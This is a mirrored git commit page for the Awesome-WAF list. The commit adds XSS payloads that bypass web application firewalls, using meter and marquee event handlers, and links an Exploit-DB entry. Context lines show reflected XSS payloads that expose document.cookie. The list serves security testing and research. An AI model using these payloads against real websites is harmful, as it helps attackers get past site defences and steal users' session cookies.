mirror of
https://github.com/0xInfection/Awesome-WAF.git
synced 2024-10-01 04:35:35 -04:00
New wordfence Bypasses added
This commit is contained in:
parent
1f808549a0
commit
081589b316
@ -2405,7 +2405,7 @@ http://host/index.php/wp-json/wp/v2/users/
|
||||
</soapenv:Envelope>
|
||||
```
|
||||
|
||||
- `generic_api_call.pl` XSS by [@NNPoster](https://www.exploit-db.com/?author=6654)
|
||||
- [`generic_api_call.pl` XSS](https://www.exploit-db.com/exploits/30777) by [@NNPoster](https://www.exploit-db.com/?author=6654)
|
||||
```
|
||||
http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
|
||||
```
|
||||
@ -2692,6 +2692,12 @@ value="<script>alert(document.cookie)</script>">
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
- [Other XSS Bypasses](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md)
|
||||
```
|
||||
<meter onmouseover="alert(1)"
|
||||
'">><div><meter onmouseover="alert(1)"</div>"
|
||||
>><marquee loop=1 width=0 onfinish=alert(1)>
|
||||
```
|
||||
|
||||
### Apache Generic
|
||||
- Writing method type in lowercase by [@i_bo0om](http://twitter.com/i_bo0om)
|
||||
|
Loading…
Reference in New Issue
Block a user